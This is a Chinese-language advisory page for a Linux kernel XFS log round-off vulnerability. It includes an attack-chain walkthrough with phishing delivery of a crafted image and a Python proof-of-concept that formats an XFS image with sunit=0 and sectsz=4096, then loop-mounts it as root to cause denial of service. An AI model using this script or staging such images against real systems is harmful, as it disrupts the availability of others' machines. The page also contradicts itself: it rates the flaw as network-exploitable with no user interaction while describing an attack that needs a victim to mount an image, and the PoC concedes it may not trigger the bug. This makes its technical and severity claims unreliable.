IPBUF安全漏洞报告
English
CVE-2026-43365 CVSS 8.2 高危

CVE-2026-43365 Linux内核XFS日志舍入值错误漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43365
漏洞类型
逻辑错误
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelXFS拒绝服务逻辑错误文件系统CVE-2026-43365

漏洞概述

Linux内核中的XFS文件系统存在一个高危漏洞,编号为CVE-2026-43365。该漏洞源于对日志写入缓冲区舍入值的计算逻辑缺陷。当超级块未列出日志条带单元时,内核错误地将内存中的日志舍入值设置为512字节。然而,在具有4KB物理扇区的现代存储设备上,这种不匹配会导致日志写入未按物理扇区边界对齐,进而引发日志损坏和CRC校验失败。攻击者无需用户交互或认证,即可通过特制的文件系统镜像触发该漏洞,导致文件系统无法挂载或系统崩溃,严重影响系统可用性。

技术细节

该漏洞位于Linux内核的XFS文件系统驱动程序中,具体涉及`xfs_log_mount`函数对`l_iclog_roundoff`值的初始化逻辑。XFS文件系统在挂载时,会读取超级块中的日志条带单元(sunit)参数。如果该参数为0(即未指定),代码会错误地将`l_iclog_roundoff`硬编码为512字节,而没有考虑底层设备的物理扇区大小(如4096字节)。

利用方式:攻击者可以通过Fuzzing工具或修改`mkfs.xfs`工具,构造一个超级块中`sunit=0`但实际物理扇区为4KB的特制文件系统镜像。当受害者尝试挂载该镜像时,内核会使用错误的舍入值进行日志写入。由于512字节与4KB扇区不匹配,会导致写入未对齐,产生“撕裂写入”或CRC校验错误。这将触发XFS的日志恢复机制失败,输出“Torn write (CRC failure) detected”等错误信息,最终导致文件系统变为不可用状态,实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用Linux内核且挂载了XFS文件系统,底层存储设备物理扇区为4KB。
STEP 2
武器化
攻击者利用修改后的`mkfs`工具或直接编辑二进制超级块,构造一个`sunit=0`且`sectsz=4096`的恶意XFS文件系统镜像。
STEP 3
交付
攻击者将恶意文件系统镜像通过钓鱼邮件、恶意下载或物理接触的方式传递给目标用户或管理员。
STEP 4
利用
目标用户尝试挂载该镜像。内核XFS驱动在处理挂载请求时,因`l_iclog_roundoff`计算错误,尝试以512字节对齐写入4KB扇区设备。
STEP 5
影响
触发日志写入错误(CRC failure),导致日志恢复失败,文件系统无法挂载,系统产生内核错误日志,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-43365 # This script demonstrates the logic to trigger the vulnerability. # It requires a vulnerable kernel version and a disk with 4k physical sectors. # Note: Actual exploitation requires creating a specific XFS image. import os import subprocess def create_vulnerable_image(image_path): """ Creates an XFS filesystem image with sunit=0 on a 4k sector device context. This mimics the broken mkfs behavior described in the CVE. """ print(f"[*] Creating vulnerable image at {image_path}...") # Create a dummy file dd_cmd = f"dd if=/dev/zero of={image_path} bs=1M count=100" subprocess.run(dd_cmd, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # Format with XFS, explicitly setting sunit=0 and sectsz=4096 to trigger the bug # Note: On a fixed mkfs, this might not produce the vulnerable state, # but on a broken mkfs (as per CVE description), it creates the mismatch. mkfs_cmd = f"mkfs.xfs -f -d sectsz=4096 -l sunit=0,size=16m {image_path}" try: subprocess.run(mkfs_cmd, shell=True, check=True) print("[+] Image created successfully.") return True except subprocess.CalledProcessError: print("[-] Failed to create image. mkfs.xfs might be fixed or not installed.") return False def mount_and_trigger(image_path, mount_point): """ Mounts the image. On a vulnerable kernel, this should cause CRC errors and prevent the filesystem from mounting properly or crash the mount process. """ if not os.path.exists(mount_point): os.makedirs(mount_point) print(f"[*] Attempting to mount {image_path} to {mount_point}...") try: subprocess.run(f"mount -o loop {image_path} {mount_point}", shell=True, check=True, timeout=10) print("[!] Mount succeeded. System might be patched or conditions not met.") except subprocess.CalledProcessError: print("[+] Mount failed as expected (potential DoS triggered).") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": IMAGE_FILE = "/tmp/cve_2026_43365_test.img" MOUNT_DIR = "/tmp/cve_test_mount" if os.geteuid() != 0: print("[!] This script must be run as root.") exit(1) if create_vulnerable_image(IMAGE_FILE): mount_and_trigger(IMAGE_FILE, MOUNT_DIR)

影响范围

Linux Kernel < 6.8 (specific commit fix required)
Linux Kernel 6.6 stable series (prior to fix)
Linux Kernel 6.1 stable series (prior to fix)

防御指南

临时缓解措施
建议立即升级Linux内核到最新稳定版本以修复此逻辑错误。在无法立即升级的情况下,管理员应避免挂载来源不明或未经验证的XFS文件系统镜像,特别是不要在关键生产环境中自动挂载此类镜像。此外,可以监控内核日志中出现的“XFS: Torn write (CRC failure) detected”警告,以便及时发现潜在的攻击尝试。

参考链接